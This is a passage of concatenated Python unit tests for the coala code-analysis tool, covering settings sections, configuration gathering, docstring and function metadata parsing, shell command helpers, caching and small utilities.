                           + uut.str_optional.format("6") + ")", int, 6)})

        uut = FunctionMetadata.from_function(TestClass(5, 5).__init__,
                                             omit={"param3", "param2"})
        self.check_function_metadata_data_set(
            uut,
            "__init__",
            desc="Description",
            retval_desc="ret",
            non_optional_params={
                "param1": (uut.str_nodesc,
                           None)
            },
            optional_params={
                "param4": ("p4 desc (" + uut.str_optional.format("6") + ")",
                           int,
                           6)})

    def test_create_params_from_section_invalid(self):
        section = Section("name")
        section.append(Setting("bad_param", "value"))
        uut = FunctionMetadata.from_function(TestClass(5, 5).bad_function)

        with self.assertRaises(ValueError):
            uut.create_params_from_section(section)

    def test_create_params_from_section_valid(self):
        section = Section("name")
        section.append(Setting("a_param", "value"))
        uut = FunctionMetadata.from_function(TestClass(5, 5).good_function)

        with self.assertRaises(ValueError):
            uut.create_params_from_section(section)

        section.append(Setting("a_param", "5"))
        params = uut.create_params_from_section(section)
        self.assertEqual(params['a_param'], 5)

    def check_function_metadata_data_set(self,
                                         metadata,
                                         name,
                                         desc="",
                                         retval_desc="",
                                         non_optional_params=None,
                                         optional_params=None):
        non_optional_params = non_optional_params or {}
        optional_params = optional_params or {}

        self.assertEqual(metadata.name, name)
        self.assertEqual(metadata.desc, desc)
        self.assertEqual(metadata.retval_desc, retval_desc)
        self.assertEqual(metadata.non_optional_params, non_optional_params)
        self.assertEqual(metadata.optional_params, optional_params)

    def test_add_alias(self):
        uut = FunctionMetadata(
            "test",
            non_optional_params={'not_optional': ('desc', str)},
            optional_params={'optional': ('desc2', str, 'default')})

        uut.add_alias('optional', 'old_optional')
        uut.add_alias('not_optional', 'old_not_optional')

        self.assertEqual(uut.non_optional_params,
                         {'not_optional': ('desc', str)})
        self.assertEqual(uut.optional_params,
                         {'optional': ('desc2', str, 'default'),
                          'old_optional': ('desc2', str, 'default'),
                          'old_not_optional': ('desc', str, None)})

    def test_merge(self):
        metadata1 = FunctionMetadata(
            "main",
            "Desc of main.\n",
            "Returns 0 on success",
            {"argc": ("argc desc", None), "argv": ("argv desc", None)},
            {"opt": ("opt desc", int, 88)},
            {"self", "A"})

        metadata2 = FunctionMetadata(
            "process",
            "Desc of process.\n",
            "Returns the processed stuff.",
            {"argc": ("argc desc from process", int),
             "to_process": ("to_process desc", int)},
            {"opt2": ("opt2 desc", str, "hello")},
            {"self", "B"})

        metadata3 = FunctionMetadata("nodesc", "", "", {}, {})

        merged_metadata = FunctionMetadata.merge(metadata1,
                                                 metadata2,
                                                 metadata3)

        self.assertEqual(
            merged_metadata.name,
            "<Merged signature of 'main', 'process', 'nodesc'>")
        self.assertEqual(merged_metadata.desc, "Desc of process.\n")
        self.assertEqual(merged_metadata.retval_desc,
                         "Returns the processed stuff.")
        self.assertEqual(
            merged_metadata.non_optional_params,
            {"argc": ("argc desc from process", int),
             "argv": ("argv desc", None),
             "to_process": ("to_process desc", int)})
        self.assertEqual(
            merged_metadata.optional_params,
            {"opt": ("opt desc", int, 88),
             "opt2": ("opt2 desc", str, "hello")})
        self.assertEqual(
            merged_metadata.omit,
            frozenset({"self", "A", "B"}))






import unittest

from pyprint.ConsolePrinter import ConsolePrinter

from coalib.bears.GlobalBear import GlobalBear
from coalib.bears.LocalBear import LocalBear
from coalib.misc.ContextManagers import simulate_console_inputs
from coalib.output.ConsoleInteraction import acquire_settings
from coalib.output.printers.LogPrinter import LogPrinter
from coalib.settings.Section import Section
from coalib.settings.SectionFilling import Setting, fill_section, fill_settings
from tests.TestUtilities import bear_test_module


class GlobalTestBear(GlobalBear):

    def __init__(self):
        GlobalBear.__init__(self, {}, Section("irrelevant"), None)

    @staticmethod
    def get_non_optional_settings():
        return {"global name": "global help text",
                "key": "this setting does exist"}


class LocalTestBear(LocalBear):

    def __init__(self):
        LocalBear.__init__(self, [], "", Section("irrelevant"), None)

    @staticmethod
    def get_non_optional_settings():
        return {"local name": "local help text",
                "global name": "this setting is needed by two bears"}


class SectionFillingTest(unittest.TestCase):

    def setUp(self):
        self.log_printer = LogPrinter(ConsolePrinter())
        self.section = Section("test")
        self.section.append(Setting("key", "val"))

    def test_fill_settings(self):
        sections = {"test": self.section}
        with simulate_console_inputs() as generator:
            fill_settings(sections,
                          acquire_settings,
                          self.log_printer)
            self.assertEqual(generator.last_input, -1)

        self.section.append(Setting("bears", "SpaceConsistencyTestBear"))

        with simulate_console_inputs("True"), bear_test_module():
            local_bears, global_bears = fill_settings(sections,
                                                      acquire_settings,
                                                      self.log_printer)
            self.assertEqual(len(local_bears["test"]), 1)
            self.assertEqual(len(global_bears["test"]), 0)

        self.assertEqual(bool(self.section["use_spaces"]), True)
        self.assertEqual(len(self.section.contents), 3)

    def test_fill_section(self):
        # Use the same value for both because order isn't predictable (uses
        # dict)
        with simulate_console_inputs(0, 0):
            new_section = fill_section(self.section,
                                       acquire_settings,
                                       self.log_printer,
                                       [LocalTestBear,
                                        GlobalTestBear])

        self.assertEqual(int(new_section["local name"]), 0)
        self.assertEqual(int(new_section["global name"]), 0)
        self.assertEqual(new_section["key"].value, "val")
        self.assertEqual(len(new_section.contents), 3)

        # Shouldnt change anything the second time
        new_section = fill_section(self.section,
                                   acquire_settings,
                                   self.log_printer,
                                   [LocalTestBear, GlobalTestBear])

        self.assertTrue("local name" in new_section)
        self.assertTrue("global name" in new_section)
        self.assertEqual(new_section["key"].value, "val")
        self.assertEqual(len(new_section.contents), 3)






import os
import re
import tempfile
import unittest

from pyprint.ClosableObject import close_objects
from pyprint.NullPrinter import NullPrinter
import pytest

from coalib.misc import Constants
from coalib.misc.ContextManagers import make_temp, change_directory
from coalib.output.printers.LogPrinter import LogPrinter
from coala_utils.string_processing import escape
from coalib.settings.ConfigurationGathering import (
    find_user_config, gather_configuration, load_configuration)


@pytest.mark.usefixtures("disable_bears")
class ConfigurationGatheringTest(unittest.TestCase):

    def setUp(self):
        self.log_printer = LogPrinter(NullPrinter())

    def tearDown(self):
        close_objects(self.log_printer)

    def test_gather_configuration(self):
        args = (lambda *args: True, self.log_printer)

        # Passing the default coafile name only triggers a warning.
        gather_configuration(*args, arg_list=["-c abcdefghi/invalid/.coafile"])

        # Using a bad filename explicitly exits coala.
        with self.assertRaises(SystemExit):
            gather_configuration(
                *args,
                arg_list=["-S", "test=5", "-c", "some_bad_filename"])

        with make_temp() as temporary:
            sections, local_bears, global_bears, targets = (
                gather_configuration(
                    *args,
                    arg_list=["-S",
                              "test=5",
                              "-c",
                              escape(temporary, "\\"),
                              "-s"]))

        self.assertEqual(str(sections["default"]),
                         "Default {config : " +
                         repr(temporary) + ", save : 'True', test : '5'}")

        with make_temp() as temporary:
            sections, local_bears, global_bears, targets = (
                gather_configuration(*args,
                                     arg_list=["-S test=5",
                                               "-c " + escape(temporary, "\\"),
                                               "-b LineCountBear -s"]))

        self.assertEqual(len(local_bears["default"]), 0)

    def test_default_coafile_parsing(self):
        tmp = Constants.system_coafile

        Constants.system_coafile = os.path.abspath(os.path.join(
            os.path.dirname(os.path.realpath(__file__)),
            "section_manager_test_files",
            "default_coafile"))

        sections, local_bears, global_bears, targets = gather_configuration(
            lambda *args: True,
            self.log_printer,
            arg_list=[])

        self.assertEqual(str(sections["test"]),
                         "test {value : '1', testval : '5'}")

        Constants.system_coafile = tmp

    def test_user_coafile_parsing(self):
        tmp = Constants.user_coafile

        Constants.user_coafile = os.path.abspath(os.path.join(
            os.path.dirname(os.path.realpath(__file__)),
            "section_manager_test_files",
            "default_coafile"))

        sections, local_bears, global_bears, targets = gather_configuration(
            lambda *args: True,
            self.log_printer,
            arg_list=[])

        self.assertEqual(str(sections["test"]),
                         "test {value : '1', testval : '5'}")

        Constants.user_coafile = tmp

    def test_nonexistent_file(self):
        filename = "bad.one/test\neven with bad chars in it"
        with self.assertRaises(SystemExit):
            gather_configuration(lambda *args: True,
                                 self.log_printer,
                                 arg_list=['-S', "config=" + filename])

        tmp = Constants.system_coafile
        Constants.system_coafile = filename

        with self.assertRaises(SystemExit):
            gather_configuration(lambda *args: True,
                                 self.log_printer,
                                 arg_list=[])

        Constants.system_coafile = tmp

    def test_merge(self):
        tmp = Constants.system_coafile
        Constants.system_coafile = os.path.abspath(os.path.join(
            os.path.dirname(os.path.realpath(__file__)),
            "section_manager_test_files",
            "default_coafile"))

        config = os.path.abspath(os.path.join(
            os.path.dirname(os.path.realpath(__file__)),
            "section_manager_test_files",
            ".coafile"))

        # Check merging of default_coafile and .coafile
        sections, local_bears, global_bears, targets = gather_configuration(
            lambda *args: True,
            self.log_printer,
            arg_list=["-c", re.escape(config)])

        self.assertEqual(str(sections["test"]),
                         "test {value : '2'}")
        self.assertEqual(str(sections["test-2"]),
                         "test-2 {files : '.', bears : 'LineCountBear'}")

        # Check merging of default_coafile, .coafile and cli
        sections, local_bears, global_bears, targets = gather_configuration(
            lambda *args: True,
            self.log_printer,
            arg_list=["-c",
                      re.escape(config),
                      "-S",
                      "test.value=3",
                      "test-2.bears=",
                      "test-5.bears=TestBear2"])

        self.assertEqual(str(sections["test"]), "test {value : '3'}")
        self.assertEqual(str(sections["test-2"]),
                         "test-2 {files : '.', bears : ''}")
        self.assertEqual(str(sections["test-3"]),
                         "test-3 {files : 'MakeFile'}")
        self.assertEqual(str(sections["test-4"]),
                         "test-4 {bears : 'TestBear'}")
        self.assertEqual(str(sections["test-5"]),
                         "test-5 {bears : 'TestBear2'}")

        Constants.system_coafile = tmp

    def test_merge_defaults(self):
        with make_temp() as temporary:
            sections, local_bears, global_bears, targets = (
                gather_configuration(lambda *args: True,
                                     self.log_printer,
                                     arg_list=["-S",
                                               "value=1",
                                               "test.value=2",
                                               "-c",
                                               escape(temporary, "\\")]))

        self.assertEqual(sections["default"],
                         sections["test"].defaults)

    def test_back_saving(self):
        filename = os.path.join(tempfile.gettempdir(),
                                "SectionManagerTestFile")

        # We need to use a bad filename or this will parse coalas .coafile
        gather_configuration(
            lambda *args: True,
            self.log_printer,
            arg_list=['-S',
                      "save=" + escape(filename, '\\'),
                      "-c=some_bad_filename"])

        with open(filename, "r") as f:
            lines = f.readlines()
        self.assertEqual(["[Default]\n", "config = some_bad_filename\n"], lines)

        gather_configuration(
            lambda *args: True,
            self.log_printer,
            arg_list=['-S',
                      "save=true",
                      "config=" + escape(filename, '\\'),
                      "test.value=5"])

        with open(filename, "r") as f:
            lines = f.readlines()
        os.remove(filename)
        if os.path.sep == '\\':
            filename = escape(filename, '\\')
        self.assertEqual(["[Default]\n",
                          "config = " + filename + "\n",
                          "\n",
                          "[test]\n",
                          "value = 5\n"], lines)

    def test_targets(self):
        sections, local_bears, global_bears, targets = gather_configuration(
            lambda *args: True,
            self.log_printer,
            arg_list=["default", "test1", "test2"])

        self.assertEqual(targets, ["default", "test1", "test2"])

    def test_find_user_config(self):
        current_dir = os.path.abspath(os.path.dirname(__file__))
        c_file = os.path.join(current_dir,
                              "section_manager_test_files",
                              "project",
                              "test.c")

        retval = find_user_config(c_file, 1)
        self.assertEqual("", retval)

        retval = find_user_config(c_file, 2)
        self.assertEqual(os.path.join(current_dir,
                                      "section_manager_test_files",
                                      ".coafile"), retval)

        child_dir = os.path.join(current_dir,
                                 "section_manager_test_files",
                                 "child_dir")
        retval = find_user_config(child_dir, 2)
        self.assertEqual(os.path.join(current_dir,
                                      "section_manager_test_files",
                                      "child_dir",
                                      ".coafile"), retval)

        with change_directory(child_dir):
            sections, _, _, _ = gather_configuration(
                lambda *args: True,
                self.log_printer,
                arg_list=["--find-config"])
            self.assertEqual(bool(sections["default"]['find_config']), True)

    def test_no_config(self):
        current_dir = os.path.abspath(os.path.dirname(__file__))
        child_dir = os.path.join(current_dir,
                                 "section_manager_test_files",
                                 "child_dir")
        with change_directory(child_dir):
            sections, targets = load_configuration([], self.log_printer)
            self.assertIn('value', sections["default"])

            sections, targets = load_configuration(
                ['--no-config'],
                self.log_printer)
            self.assertNotIn('value', sections["default"])

            sections, targets = load_configuration(
                ['--no-config', '-S', 'use_spaces=True'],
                self.log_printer)
            self.assertIn('use_spaces', sections["default"])
            self.assertNotIn('values', sections["default"])

            with self.assertRaises(SystemExit) as cm:
                sections, target = load_configuration(
                    ['--no-config', '--save'],
                    self.log_printer)
                self.assertEqual(cm.exception.code, 2)

            with self.assertRaises(SystemExit) as cm:
                sections, target = load_configuration(
                    ['--no-config', '--find-config'],
                    self.log_printer)
                self.assertEqual(cm.exception.code, 2)

    def test_autoapply_arg(self):
        sections, _, _, _ = gather_configuration(
            lambda *args: True,
            self.log_printer,
            autoapply=False,
            arg_list=[])

        self.assertEqual(str(sections['default'].get('autoapply', None)),
                         'False')

        sections, _, _, _ = gather_configuration(
            lambda *args: True,
            self.log_printer,
            autoapply=True,
            arg_list=[])

        self.assertEqual(str(sections['default'].get('autoapply', None)),
                         'None')






import unittest
import os

from coalib.misc import Constants
from coalib.settings.Section import Section, Setting, append_to_sections
from coalib.settings.ConfigurationGathering import get_config_directory
from coalib.parsing.Globbing import glob_escape


class SectionTest(unittest.TestCase):

    def test_construction(self):
        uut = Section(Constants.COMPLEX_TEST_STRING, None)
        uut = Section(Constants.COMPLEX_TEST_STRING, uut)
        self.assertRaises(TypeError, Section, "irrelevant", 5)
        self.assertRaises(ValueError, uut.__init__, "name", uut)

    def test_append(self):
        uut = Section(Constants.COMPLEX_TEST_STRING, None)
        self.assertRaises(TypeError, uut.append, 5)
        uut.append(Setting(5, 5, 5))
        self.assertEqual(str(uut.get("5 ")), "5")
        self.assertEqual(int(uut.get("nonexistent", 5)), 5)

    def test_enabled(self):
        uut = Section("name")
        self.assertTrue(uut.is_enabled([]))
        self.assertTrue(uut.is_enabled(["name", "wrongname"]))
        self.assertFalse(uut.is_enabled(["wrongname"]))

        uut.append(Setting("enabled", "false"))
        self.assertFalse(uut.is_enabled([]))
        self.assertFalse(uut.is_enabled(["wrong_name"]))
        self.assertTrue(uut.is_enabled(["name", "wrongname"]))

    def test_iter(self):
        defaults = Section("default", None)
        uut = Section("name", defaults)
        uut.append(Setting(5, 5, 5))
        uut.add_or_create_setting(Setting("TEsT", 4, 5))
        defaults.append(Setting("tEsT", 1, 3))
        defaults.append(Setting(" great   ", 3, 8))
        defaults.append(Setting(" great   ", 3, 8), custom_key="custom")
        uut.add_or_create_setting(Setting(" NEW   ", "val", 8))
        uut.add_or_create_setting(Setting(" NEW   ", "vl", 8),
                                  allow_appending=False)
        uut.add_or_create_setting(Setting("new", "val", 9),
                                  custom_key="teSt ",
                                  allow_appending=True)
        self.assertEqual(list(uut), ["5", "test", "new", "great", "custom"])

        for index in uut:
            t = uut[index]
            self.assertNotEqual(t, None)

        self.assertIn("teST", defaults)
        self.assertIn("       GREAT", defaults)
        self.assertNotIn("       GrEAT !", defaults)
        self.assertNotIn("", defaults)
        self.assertEqual(str(uut['test']), "4\nval")
        self.assertEqual(int(uut["GREAT "]), 3)
        self.assertRaises(IndexError, uut.__getitem__, "doesnotexist")
        self.assertRaises(IndexError, uut.__getitem__, "great", True)
        self.assertRaises(IndexError, uut.__getitem__, " ")

    def test_setitem(self):
        uut = Section("section", None)
        uut["key1"] = "value1"
        self.assertEqual(str(uut), "section {key1 : 'value1'}")
        uut["key1"] = "changed_value1"
        self.assertEqual(str(uut), "section {key1 : 'changed_value1'}")
        uut["key1"] = Setting("any key", "value1")
        self.assertEqual(str(uut), "section {key1 : 'value1'}")

    def test_string_conversion(self):
        uut = Section("name")
        self.assertEqual(str(uut), "name {}")
        uut.append(Setting("key", "value"))
        self.assertEqual(str(uut), "name {key : 'value'}")
        uut.append(Setting("another_key", "another_value"))
        self.assertEqual(str(uut),
                         "name {key : 'value', another_key : 'another_value'}")

    def test_copy(self):
        uut = Section("name")
        uut.append(Setting("key", "value"))
        self.assertEqual(str(uut["key"]), "value")
        copy = uut.copy()
        self.assertEqual(str(copy), str(uut))
        uut.append(Setting("key", "another_value"))
        self.assertNotEqual(str(copy), str(uut))

        uut.defaults = copy
        copy = uut.copy()
        self.assertEqual(str(uut.defaults), str(copy.defaults))
        uut.defaults.append(Setting("key", "quite_something_else"))
        self.assertNotEqual(str(uut.defaults), str(copy.defaults))

    def test_update(self):
        cli = Section("cli", None)
        conf = Section("conf", None)

        self.assertRaises(TypeError, cli.update, 4)

        cli.append(Setting("key1", "value11"))
        cli.append(Setting("key2", "value12"))
        conf.append(Setting("key1", "value21"))
        conf.append(Setting("key3", "value23"))

        # Values are overwritten, new keys appended
        self.assertEqual(str(conf.copy().update(cli)),
                         "conf {key1 : 'value11', key3 : 'value23', "
                         "key2 : 'value12'}")

        cli.defaults = Section("clidef", None)
        cli.defaults.append(Setting("def1", "dval1"))

        self.assertEqual(str(conf.copy().update(cli).defaults),
                         "clidef {def1 : 'dval1'}")

        conf.defaults = Section("confdef", None)
        conf.defaults.append(Setting("def2", "dval2"))

        self.assertEqual(str(conf.copy().update(cli).defaults),
                         "confdef {def2 : 'dval2', def1 : 'dval1'}")

    def test_append_to_sections(self):
        sections = {}

        append_to_sections(sections, "", "", "")
        self.assertEqual(sections, {})

        append_to_sections(sections, "key", None, "")
        self.assertEqual(sections, {})

        append_to_sections(sections, "test", "val", "origin")
        self.assertIn("default", sections)
        self.assertEqual(len(sections), 1)
        self.assertEqual(len(sections["default"].contents), 1)

        append_to_sections(sections, "test1", "val", "origin", "default")
        self.assertIn("default", sections)
        self.assertEqual(len(sections), 1)
        self.assertEqual(len(sections["default"].contents), 2)

    def test_update_setting(self):
        section = Section("section", None)

        section.append(Setting("key1", "value11"))
        section.append(Setting("key2", "value12"))

        section.update_setting("key1", new_value="value13")
        self.assertEqual(str(section),
                         "section {key1 : 'value13', key2 : 'value12'}")
        section.update_setting("key1", "key3")
        self.assertEqual(str(section),
                         "section {key3 : 'value13', key2 : 'value12'}")
        section.update_setting("key3", "key4", "value14")
        self.assertEqual(str(section),
                         "section {key4 : 'value14', key2 : 'value12'}")

    def test_delete_setting(self):
        section = Section("section", None)

        section.append(Setting("key1", "value11"))
        section.append(Setting("key2", "value12"))

        section.delete_setting("key1")
        self.assertEqual(str(section),
                         "section {key2 : 'value12'}")

        section.append(Setting("key3", "value13"))
        section.append(Setting("key4", "value14"))

        section.delete_setting("key3")
        self.assertEqual(str(section),
                         "section {key2 : 'value12', key4 : 'value14'}")

    def test_bear_dirs(self):
        section = Section("section", None)
        empty_bear_dirs_len = len(section.bear_dirs())
        section.append(Setting("bear_dirs", "test1, test2 (1)"))
        self.assertEqual(len(section.bear_dirs()), empty_bear_dirs_len + 2)
        # Verify if bear directories are properly escaped
        root = get_config_directory(section)
        path = os.path.join(glob_escape(root), glob_escape("test2 (1)"), "**")
        self.assertIn(path, section.bear_dirs())












import unittest

from coalib.settings.DocstringMetadata import DocstringMetadata


class DocstringMetadataTest(unittest.TestCase):

    def test_from_docstring(self):
        self.check_from_docstring_dataset("")
        self.check_from_docstring_dataset(" description only ",
                                          desc="description only")
        self.check_from_docstring_dataset(" :param test:  test description ",
                                          param_dict={
                                              "test": "test description"})
        self.check_from_docstring_dataset(" @param test:  test description ",
                                          param_dict={
                                              "test": "test description"})
        self.check_from_docstring_dataset(" :return: something ",
                                          retval_desc="something")
        self.check_from_docstring_dataset(" @return: something ",
                                          retval_desc="something")
        self.check_from_docstring_dataset("""
        Main description

        @param p1: this is

        a multiline desc for p1

        :param p2: p2 description

        @return: retval description
        :return: retval description
        override
        """, desc="Main description", param_dict={
            "p1": "this is\na multiline desc for p1\n",
            "p2": "p2 description\n"
        }, retval_desc="retval description override")

    def test_str(self):
        uut = DocstringMetadata.from_docstring(
            '''
            Description of something. No params.
            ''')

        self.assertEqual(str(uut), "Description of something. No params.")

        uut = DocstringMetadata.from_docstring(
            '''
            Description of something with params.

            :param x: Imagine something.
            :param y: x^2
            ''')

        self.assertEqual(str(uut), "Description of something with params.")

    def check_from_docstring_dataset(self,
                                     docstring,
                                     desc="",
                                     param_dict=None,
                                     retval_desc=""):
        param_dict = param_dict or {}

        self.assertIsInstance(docstring,
                              str,
                              "docstring needs to be a string for this test.")
        doc_comment = DocstringMetadata.from_docstring(docstring)
        self.assertEqual(doc_comment.desc, desc)
        self.assertEqual(doc_comment.param_dict, param_dict)

        self.assertEqual(doc_comment.retval_desc, retval_desc)






import pytest

import coalib.collecting.Collectors


@pytest.fixture
def disable_bears(mocker):
    """
    Disable all bears that would otherwise be found with `collect_bears(...)`.
    """
    mocker.patch.object(coalib.collecting.Collectors, '_import_bears',
                        autospec=True, return_value=[])






from contextlib import ExitStack
import os
import sys
from tempfile import NamedTemporaryFile
import unittest

from coalib.misc.Shell import run_interactive_shell_command, run_shell_command


class RunShellCommandTest(unittest.TestCase):

    @staticmethod
    def construct_testscript_command(scriptname):
        return (sys.executable,
                os.path.join(os.path.dirname(os.path.realpath(__file__)),
                             "run_shell_command_testfiles",
                             scriptname))

    def test_run_interactive_shell_command(self):
        command = RunShellCommandTest.construct_testscript_command(
            "test_interactive_program.py")

        with run_interactive_shell_command(command) as p:
            self.assertEqual(p.stdout.readline(), "test_program X\n")
            self.assertEqual(p.stdout.readline(), "Type in a number:\n")
            p.stdin.write("33\n")
            p.stdin.flush()
            self.assertEqual(p.stdout.readline(), "33\n")
            self.assertEqual(p.stdout.readline(), "Exiting program.\n")

            self.assertEqual(p.stdout.read(), "")
            self.assertEqual(p.stderr.read(), "")

    def test_run_interactive_shell_command_custom_streams(self):
        command = RunShellCommandTest.construct_testscript_command(
            "test_interactive_program.py")

        with ExitStack() as stack:
            streams = {s: stack.enter_context(NamedTemporaryFile(mode="w+"))
                       for s in ["stdout", "stderr", "stdin"]}

            with run_interactive_shell_command(command, **streams) as p:
                streams["stdin"].write("712\n")
                streams["stdin"].flush()
                streams["stdin"].seek(0)

            self.assertFalse(streams["stdout"].closed)
            self.assertFalse(streams["stderr"].closed)
            self.assertFalse(streams["stdin"].closed)

            streams["stdout"].seek(0)
            self.assertEqual(streams["stdout"].read(),
                             "test_program X\nType in a number:\n712\n"
                             "Exiting program.\n")

            streams["stderr"].seek(0)
            self.assertEqual(streams["stderr"].read(), "")

    def test_run_interactive_shell_command_kwargs_delegation(self):
        with self.assertRaises(TypeError):
            with run_interactive_shell_command("some_command",
                                               weird_parameter=30):
                pass

    def test_run_shell_command_without_stdin(self):
        command = RunShellCommandTest.construct_testscript_command(
            "test_program.py")

        stdout, stderr = run_shell_command(command)

        expected = ("test_program Z\n"
                    "non-interactive mode.\n"
                    "Exiting...\n")
        self.assertEqual(stdout, expected)
        self.assertEqual(stderr, "")

    def test_run_shell_command_with_stdin(self):
        command = RunShellCommandTest.construct_testscript_command(
            "test_input_program.py")

        stdout, stderr = run_shell_command(command, "1  4  10  22")

        self.assertEqual(stdout, "37\n")
        self.assertEqual(stderr, "")

        stdout, stderr = run_shell_command(command, "1 p 5")

        self.assertEqual(stdout, "")
        self.assertEqual(stderr, "INVALID INPUT\n")

    def test_run_shell_command_kwargs_delegation(self):
        with self.assertRaises(TypeError):
            run_shell_command("super-cool-command", weird_parameter2="abc")






from unittest import TestCase

from coalib.misc.Annotations import typechain


class AnnotationsTest(TestCase):

    def test_empty(self):
        with self.assertRaises(TypeError) as ctx:
            typechain()
        self.assertEqual(str(ctx.exception), "No arguments were provided.")

    def test_with_lambda(self):
        function = typechain(lambda x: int(x) > 0)
        with self.assertRaises(ValueError):
            function("str")
        self.assertEqual(function("10"), True)

    def test_with_function(self):
        def positive(val):
            val = int(val)
            if val > 0:
                return val
            raise ValueError
        function = typechain(positive, ord)
        with self.assertRaises(ValueError):
            function(0)
        with self.assertRaises(ValueError):
            function("str")
        self.assertEqual(function("10"), 10)
        self.assertEqual(function("0"), 48)

    def test_with_function_without_arguments(self):
        def dummy():
            return 10
        function = typechain(dummy)
        with self.assertRaises(ValueError):
            function(0)

    def test_with_custom_type(self):
        class Positive:

            def __init__(self, val):
                val = int(val)
                if val > 0:
                    self.val = val
                else:
                    raise ValueError

        function = typechain(Positive, ord)
        with self.assertRaises(ValueError):
            function(0)
        obj = function("10")
        self.assertIsInstance(obj, Positive)
        self.assertEqual(obj.val, 10)
        self.assertEqual(function("0"), 48)

    def test_with_empty_class(self):
        class Dummy:
            pass

        function = typechain(Dummy)
        with self.assertRaises(ValueError):
            function("str")
        dummy = Dummy()
        self.assertEqual(function(dummy), dummy)






import unittest

from coalib.misc.Exceptions import get_exitcode
from pkg_resources import VersionConflict


class ExceptionsTest(unittest.TestCase):

    def test_get_exitcode(self):
        self.assertEqual(get_exitcode(KeyboardInterrupt()), 130)
        self.assertEqual(get_exitcode(AssertionError()), 255)
        self.assertEqual(get_exitcode(SystemExit(999)), 999)
        self.assertEqual(get_exitcode(VersionConflict(
            "libclang-py3 0.3", "libclang-py3==0.2")), 13)
        self.assertEqual(get_exitcode(EOFError()), 0)
        self.assertEqual(get_exitcode(None), 0)






import os
import unittest

from pyprint.NullPrinter import NullPrinter

from coalib.misc.CachingUtilities import (
    get_settings_hash, settings_changed, update_settings_db,
    get_data_path, pickle_load, pickle_dump, delete_files)
from coalib.output.printers.LogPrinter import LogPrinter
from coalib.settings.Section import Section


class CachingUtilitiesTest(unittest.TestCase):

    def setUp(self):
        self.log_printer = LogPrinter(NullPrinter())

    def test_corrupt_cache_files(self):
        file_path = get_data_path(self.log_printer, "corrupt_file")
        with open(file_path, "wb") as f:
            f.write(bytes([1] * 100))

        self.assertTrue(os.path.isfile(file_path))
        self.assertEqual(pickle_load(
            self.log_printer, "corrupt_file", fallback=42), 42)

    def test_delete_files(self):
        pickle_dump(self.log_printer, "coala_test", {"answer": 42})
        self.assertTrue(delete_files(
            self.log_printer, ["coala_test"]))
        self.assertFalse(os.path.isfile(get_data_path(
            self.log_printer, "coala_test")))

    def test_delete_invalid_file(self):
        self.assertFalse(delete_files(
            self.log_printer, ["non_existant_file"]))

    @unittest.mock.patch('coalib.misc.CachingUtilities.os')
    def test_delete_permission_error(self, mock_os):
        with open(get_data_path(self.log_printer, "coala_test"), "w"):
            mock_os.remove.side_effect = OSError("Permission error")
            self.assertTrue(os.path.isfile(get_data_path(
                self.log_printer, "coala_test")))
            self.assertFalse(delete_files(self.log_printer, ["coala_test"]))

    @unittest.mock.patch("os.makedirs")
    def test_permission_error(self, makedirs):
        makedirs.side_effect = PermissionError
        self.assertEqual(get_data_path(self.log_printer, "test"), None)

        self.assertFalse(pickle_dump(self.log_printer, "test", {"answer": 42}))


class SettingsTest(unittest.TestCase):

    def setUp(self):
        self.log_printer = LogPrinter(NullPrinter())

    def test_settings_change(self):
        sections = {}
        settings_hash = get_settings_hash(sections)
        update_settings_db(self.log_printer, settings_hash)
        self.assertFalse(settings_changed(self.log_printer, settings_hash))

        sections = {"a": Section("a")}
        settings_hash = get_settings_hash(sections)
        self.assertTrue(settings_changed(self.log_printer, settings_hash))






import unittest
from collections import OrderedDict

from coalib.misc.DictUtilities import inverse_dicts, update_ordered_dict_key


class DictUtilitiesTest(unittest.TestCase):

    def test_inverse_dicts(self):
        self.dict1 = {1: [1, 2, 3], 2: [3, 4, 5]}
        self.dict2 = {2: [1], 3: [2], 4: [3, 4]}
        self.dict3 = {1: 2, 3: 4, 4: 4, 5: 4}
        self.dict4 = {2: 3, 4: 4}
        result = inverse_dicts(self.dict3)
        self.assertEqual({2: [1], 4: [3, 4, 5]}, result)

        result = inverse_dicts(self.dict1)
        self.assertEqual({1: [1], 2: [1], 3: [1, 2], 4: [2], 5: [2]}, result)

        result = inverse_dicts(self.dict3, self.dict4)
        self.assertEqual({2: [1], 3: [2], 4: [3, 4, 5, 4]}, result)

        result = inverse_dicts(self.dict1, self.dict2)
        self.assertEqual({1: [1, 2],
                          2: [1, 3],
                          3: [1, 2, 4],
                          4: [2, 4],
                          5: [2]}, result)

    def test_update_ordered_dict_key(self):
        self.ordered_dict = OrderedDict()
        self.ordered_dict["default"] = "Some stuff"
        self.ordered_dict["pythoncheck"] = "Somemore stuff"
        self.ordered_dict = update_ordered_dict_key(self.ordered_dict,
                                                    "default",
                                                    "coala")
        self.assertTrue("coala" in self.ordered_dict)
        self.assertEqual("OrderedDict([('coala', 'Some stuff'), "
                         "('pythoncheck', 'Somemore stuff')])",
                         self.ordered_dict.__str__())
        self.ordered_dict = update_ordered_dict_key(self.ordered_dict,
                                                    "coala",
                                                    "section")
        self.assertTrue("section" in self.ordered_dict)
        self.assertEqual("OrderedDict([('section', 'Some stuff'), "
                         "('pythoncheck', 'Somemore stuff')])",
                         self.ordered_dict.__str__())






import unittest

from coalib.misc.Enum import enum


class ProcessTest(unittest.TestCase):

    def setUp(self):
        self.uut = enum("ZERO", "ONE", "TWO", THREE="val")

    def test_sequentials(self):
        self.assertEqual(self.uut.ZERO, 0)
        self.assertEqual(self.uut.ONE, 1)
        self.assertEqual(self.uut.TWO, 2)
        self.assertEqual(self.uut.THREE, "val")
        self.assertEqual(self.uut.str_dict["ZERO"], 0)
        self.assertRaises(KeyError, self.uut.str_dict.__getitem__, "reverse")

    def test_reverse_mapping(self):
        self.assertEqual(self.uut.reverse[self.uut.ZERO], "ZERO")
        self.assertEqual(self.uut.reverse[self.uut.ONE], "ONE")
        self.assertEqual(self.uut.reverse[self.uut.TWO], "TWO")
        self.assertEqual(self.uut.reverse[self.uut.THREE], "THREE")












import argparse
import datetime
import unittest
from distutils.errors import DistutilsOptionError

from setuptools.dist import Distribution

from coalib.misc.BuildManPage import BuildManPage, ManPageFormatter
from coalib.misc.ContextManagers import make_temp

app_name = "name"
app_description = ("short description " * 2).strip()
app_long_description = ("long description " * 80).strip()
section_name = "sect"
section_text = ("section text " * 5).strip()
sections = {section_name: section_text}


def test_arg_parser(formatter_class=argparse.RawDescriptionHelpFormatter):
    arg_parser = argparse.ArgumentParser(formatter_class=formatter_class,
                                         prog=app_name,
                                         description=app_description)
    arg_parser.add_argument('arg1')
    arg_parser.add_argument('-a')

